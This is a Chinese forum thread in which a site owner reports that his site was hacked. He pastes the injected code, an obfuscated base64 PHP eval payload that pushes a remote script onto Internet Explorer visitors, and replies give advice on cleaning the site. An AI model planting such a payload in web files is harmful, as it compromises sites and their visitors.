唉,我流量如此小的网站都被人黑!!
我网站www.14yuan.cn 前几天网站突然跳转一国外站,一看几十个文件都被加入以下代码,费了我这个菜鸟好打的劲 才正常,奶奶的下面是他们加的代码!!!
:<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmIChzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwiTVNJRSA2Iil8fHN0cmlzdHIoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLCJNU0lFIDciKXx8c3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sIk1TSUUgOCIpfHxzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwiTVNJRSA5IikpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5emQyVmxjSE4wWVd0bGMyRnVaR052Ym5SbGMzUnpibTkzTG1OdmJTOXViQzV3YUhBL2JtNXVQVEVpUGp3dmMyTnlhWEIwUGc9PSIpOyAgICAgIH0gICAgICByZXR1cm4gIiI7ICAgICB9ICAgIH0gICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpeyAgICAgZnVuY3Rpb24gZ3pkZWNvZGUoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0Qyl7ICAgICAgJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RD1Ab3JkKEBzdWJzdHIoJFI1QTlDRjFCNDk3N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bHNleyAgICAgIHJldHVybiAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFLmdtbCgpOyAgICAgfSAgICB9ICAgIG9iX3N0YXJ0KCdtcm9iaCcpOyAgIH0gIH0="));?> 我们几个DH上的 PW论坛,被黑了。。
过下发贴出来分析一下。。
可能原因是 PW论坛漏洞。得升级到最新。
楼主用的是Dx,是不是 打上了 8月份的补丁的呢???
而且,你要想有效解决。
1、把现在网站的,所有文件都拖到 00000 目录里。
2、上传全新的 官方原版文件包,在线解压。
3、再修改几个配制文件。
4、自己FTP下载 附件目录,和UC前像目录 到本地,再搜索 php文件。 以免把木马传到附件或头像目录里了。
不清除木马,你站就不会安宁。 我的站也是遭到了攻击,是直接打不开。现在好了,整站删除,重新恢复上次的备份ok了。
页:
[1]